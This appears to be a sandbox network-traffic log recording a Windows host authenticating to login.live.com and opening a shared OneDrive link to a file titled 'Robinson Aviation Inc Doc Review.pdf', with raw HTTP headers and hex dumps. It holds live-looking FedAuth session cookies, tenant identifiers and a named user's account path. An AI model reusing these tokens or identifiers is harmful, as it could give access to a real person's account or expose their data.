2024-11-07 19:00:57 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp	Bytes transferred	Direction	Data
2024-11-07 19:00:58 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4762 Host: login.live.com
2024-11-07 19:00:58 UTC	4762	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 19:00:59 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 18:59:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: 303ec0d8-4789-40f4-be92-fba71adbf937 PPServer: PPV: 30 H: BL02EPF00027B2D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 19:00:58 GMT Connection: close Content-Length: 10197
2024-11-07 19:00:59 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp	Bytes transferred	Direction	Data
2024-11-07 19:00:59 UTC	761	OUT	GET /:f:/g/personal/jkim_boomeranghc_com/EpVq1HiUlY9HllcA6glOI2YBVBULnFeWVghjboPmEsmlRg?e=LUjWtE HTTP/1.1 Host: ipmdoctor-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 19:00:59 UTC	3806	IN	HTTP/1.1 302 Found Cache-Control: private Content-Length: 320 Content-Type: text/html; charset=utf-8 Location: https://ipmdoctor-my.sharepoint.com/personal/jkim_boomeranghc_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%2FRobinson%20Aviation%20Inc%20Doc%20Review%2Epdf&ga=1 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0 [TRUNCATED] X-NetworkStatistics: 0,2102272,13,25,839483,0,2102272,24 X-SharePointHealthScore: 1 X-MS-SPO-CookieValidator: TB7UCDY2mGFXmUb8aJKRszbYfy0/EUiS6iKAHSAskB4fI5kuhzdpLZ8TsnPyh0heRV8YxmWCeMrHiWVQc3cSOugImgfXPR0PXWT2UmRYPouO+psXb/Yj6pYEGtn04dFAHEalc6a3Nw/zafczFtS2vpLMtDqGdAu9ZWO053Gr4PUETvml4JYYc8Iad6HRE/JKewL6FE1+qk94XuaH3rh9nUu7DhRLPUadeSnOsJ6iZrpQSmyySKEctj9/HgoWMfhPgZaRVtWjlSnokmm0gbKxSBqkkoQz3DqgngK7nF/suDQJJ2pMbM5s6o4wmnSo12xI1eSxWeliDqzHHXs0EJnARA== X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: d2a261a1-b0c0-6000-eda3-b3b1130d6a8d request-id: d2a261a1-b0c0-6000-eda3-b3b1130d6a8d MS-CV: oWGi0sCwAGDto7OxEw1qjQ.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=f58ffaaf-06de-4270-a430-aed821458425&destinationEndpoint=Edge-Prod-DFW31r5a&frontEnd=AFD&RemoteIP=173.254.250.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com app.powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 182 SPIisLatency: 4 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25416 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: FA3FA68F25C84A2D8134765120982CB7 Ref B: DFW311000102023 Ref C: 2024-11-07T19:00:59Z Date: Thu, 07 Nov 2024 19:00:59 GMT Connection: close
2024-11-07 19:00:59 UTC	320	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 70 6d 64 6f 63 74 6f 72 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 70 65 72 73 6f 6e 61 6c 2f 6a 6b 69 6d 5f 62 6f 6f 6d 65 72 61 6e 67 68 63 5f 63 6f 6d 2f 5f 6c 61 79 6f 75 74 73 2f 31 35 2f 6f 6e 65 64 72 69 76 65 2e 61 73 70 78 3f 69 64 3d 25 32 46 70 65 72 73 6f 6e 61 6c 25 32 46 6a 6b 69 6d 25 35 46 62 6f 6f 6d 65 72 61 6e 67 68 63 25 35 46 63 6f 6d 25 32 46 44 6f 63 75 6d 65 6e 74 73 25 32 46 52 6f 62 69 6e 73 6f 6e 25 32 30 41 76 69 61 74 69 6f 6e 25 32 30 49 6e Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://ipmdoctor-my.sharepoint.com/personal/jkim_boomeranghc_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%2FRobinson%20Aviation%20In

Timestamp	Bytes transferred	Direction	Data
2024-11-07 19:01:00 UTC	1995	OUT	GET /personal/jkim_boomeranghc_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%2FRobinson%20Aviation%20Inc%20Doc%20Review%2Epdf&ga=1 HTTP/1.1 Host: ipmdoctor-my.sharepoint.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkv [TRUNCATED]
2024-11-07 19:01:00 UTC	11177	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 340162 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0 [TRUNCATED] X-NetworkStatistics: 0,2102272,17,104,3556488,0,2102272,24 X-SharePointHealthScore: 0 Referrer-Policy: no-referrer, strict-origin-when-cross-origin Reporting-Endpoints: cspendpoint="https://ipmdoctor-my.sharepoint.com/personal/jkim_boomeranghc_com/_layouts/15/CSPReporting.aspx" X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com .office365.com .powerapps.com .yammer.com engage.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com .powerapps.com .yammer.com engage.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com .cloud.microsoft app.powerbi.com; Content-Security-Policy-Report-Only: base-uri 'none';;report-to cspendpoint Content-Security-Policy: worker-src 'self' blob:;script-src https://contentstorage.osi.office.net https://swx.cdn.skype.com https://res.delve.office.com https://lpcres.delve.office.com https://widget.uservoice.com https://by2.uservoice.com https://www.bing.com/api/maps/ https://www.bing.com/rms/ https://fabriciss.azureedge.net https://publiccdn.sharepointonline.com https://ajax.aspnetcdn.com https://res-1.cdn.office.net https://res-1.cdn.office.net https://res-2.cdn.office.net https://webshell.suite.office.com https://amcdn.msftauth.net .cdn.office.net .fluidpreview.office.net https://res-1.cdn.office.net https://teams.microsoft.com https://js.monitor.azure.com https://r4.res.office365.com https://c1-excel-15.cdn.office.net https://c1-onenote-15.cdn.office.net https://c1-powerpoint-15.cdn.office.net https://c1-visio-15.cdn.office.net https://c1-word-view-15.cdn.office.net https://loki.delve.office.com https://res.cdn.office.net/midgard/ https://substrate.office.com 'unsafe-eval' 'nonce-395ff66d-a75f-4e50-9a [TRUNCATED] Content-Security-Policy-Report-Only: style-src https://contentstorage.osi.office.net https://swx.cdn.skype.com https://res.delve.office.com https://lpcres.delve.office.com https://widget.uservoice.com https://by2.uservoice.com https://www.bing.com/api/maps/ https://www.bing.com/rms/ https://fabriciss.azureedge.net https://publiccdn.sharepointonline.com https://ajax.aspnetcdn.com https://res-1.cdn.office.net https://res-1.cdn.office.net https://res-2.cdn.office.net https://webshell.suite.office.com https://amcdn.msftauth.net .cdn.office.net .fluidpreview.office.net https://res-1.cdn.office.net https://teams.microsoft.com https://js.monitor.azure.com https://r4.res.office365.com https://c1-excel-15.cdn.office.net https://c1-onenote-15.cdn.office.net https://c1-powerpoint-15.cdn.office.net https://c1-visio-15.cdn.office.net https://c1-word-view-15.cdn.office.net https://loki.delve.office.com https://res.cdn.office.net/midgard/ https://substrate.office.com 'self' blob: 'unsafe-inline';connect-src 'self' blob: h [TRUNCATED] X-Service-Worker-Application-Id: STS X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: d3a261a1-b006-6000-d9ad-c85a9bcd144e request-id: d3a261a1-b006-6000-d9ad-c85a9bcd144e MS-CV: oWGi0wawAGDZrcham80UTg.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=f58ffaaf-06de-4270-a430-aed821458425&destinationEndpoint=Edge-Prod-DFW31r5c&frontEnd=AFD&RemoteIP=173.254.250.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 SPRequestDuration: 126 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25416 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: CB8B310ED0A34C77A1FCCCCEE5FC2FAC Ref B: DFW311000106037 Ref C: 2024-11-07T19:01:00Z Date: Thu, 07 Nov 2024 19:01:00 GMT Connection: close
2024-11-07 19:01:00 UTC	1065	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 47 45 4e 45 52 41 54 4f 52 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 69 63 72 6f 73 6f 66 74 20 53 68 61 72 65 50 6f 69 6e 74 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"><head><meta name="GENERATOR" content="Microsoft SharePoint" /><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta http-equiv="E
2024-11-07 19:01:01 UTC	4264	IN	Data Raw: 6f 6e 63 65 3d 22 33 39 35 66 66 36 36 64 2d 61 37 35 66 2d 34 65 35 30 2d 39 61 34 31 2d 36 62 30 32 65 37 35 64 62 62 61 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 68 65 6c 6c 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 53 68 65 6c 6c 42 6f 6f 74 73 74 72 61 70 70 65 72 2f 62 75 73 69 6e 65 73 73 2f 4f 6e 65 53 68 65 6c 6c 22 3e 0d 0a 0d 0a 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 33 39 35 66 66 36 36 64 2d 61 37 35 66 2d 34 65 35 30 2d 39 61 34 31 2d 36 62 30 32 65 37 35 64 62 62 61 64 22 3e 0d 0a 09 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e Data Ascii: once="395ff66d-a75f-4e50-9a41-6b02e75dbbad" crossorigin="anonymous" async src="https://shell.cdn.office.net/api/ShellBootstrapper/business/OneShell"></script><script type="text/javascript" nonce="395ff66d-a75f-4e50-9a41-6b02e75dbbad">window.documen
2024-11-07 19:01:01 UTC	8192	IN	Data Raw: 65 4f 33 36 35 53 65 74 74 69 6e 67 73 3a 20 66 61 6c 73 65 2c 20 64 69 73 61 62 6c 65 44 65 6c 61 79 4c 6f 61 64 3a 20 66 61 6c 73 65 2c 20 64 69 73 61 62 6c 65 53 68 65 6c 6c 50 6c 75 73 3a 20 66 61 6c 73 65 2c 20 69 73 54 68 69 6e 48 65 61 64 65 72 3a 20 74 72 75 65 2c 20 65 6e 61 62 6c 65 4c 65 67 61 63 79 52 65 73 70 6f 6e 73 69 76 65 42 65 68 61 76 69 6f 72 3a 20 66 61 6c 73 65 2c 20 65 78 70 65 63 74 53 65 61 72 63 68 42 6f 78 53 65 74 74 69 6e 67 73 3a 20 74 72 75 65 2c 20 64 61 72 6b 41 63 63 65 6e 74 3a 20 27 23 38 32 43 37 46 46 27 2c 20 73 68 65 6c 6c 41 75 74 68 50 72 6f 76 69 64 65 72 43 6f 6e 66 69 67 3a 20 7b 20 74 79 70 65 3a 20 27 77 65 62 41 61 64 57 69 74 68 4d 73 61 50 72 6f 78 79 27 2c 20 6c 6f 67 69 6e 5f 48 69 6e 74 3a 20 27 75 72 Data Ascii: eO365Settings: false, disableDelayLoad: false, disableShellPlus: false, isThinHeader: true, enableLegacyResponsiveBehavior: false, expectSearchBoxSettings: true, darkAccent: '#82C7FF', shellAuthProviderConfig: { type: 'webAadWithMsaProxy', login_Hint: 'ur
2024-11-07 19:01:01 UTC	8192	IN	Data Raw: 50 53 42 6c 4f 5f 79 4b 4f 38 51 49 22 7d 2c 22 76 61 6e 69 74 79 55 72 6c 73 22 3a 7b 7d 2c 22 6d 75 6c 74 69 47 65 6f 49 6e 66 6f 22 3a 5b 7b 22 49 6e 73 74 61 6e 63 65 49 64 22 3a 22 61 66 31 35 32 39 66 61 2d 32 37 36 62 2d 34 31 66 62 2d 62 35 38 30 2d 64 36 65 38 38 65 32 33 61 33 62 61 22 2c 22 44 61 74 61 4c 6f 63 61 74 69 6f 6e 22 3a 22 22 2c 22 49 73 44 65 66 61 75 6c 74 44 61 74 61 4c 6f 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 52 6f 6f 74 53 69 74 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 70 6d 64 6f 63 74 6f 72 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 22 2c 22 4d 79 53 69 74 65 48 6f 73 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 70 6d 64 6f 63 74 6f 72 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 22 2c 22 54 Data Ascii: PSBlO_yKO8QI"},"vanityUrls":{},"multiGeoInfo":[{"InstanceId":"af1529fa-276b-41fb-b580-d6e88e23a3ba","DataLocation":"","IsDefaultDataLocation":false,"RootSiteUrl":"https://ipmdoctor.sharepoint.com/","MySiteHostUrl":"https://ipmdoctor-my.sharepoint.com/","T
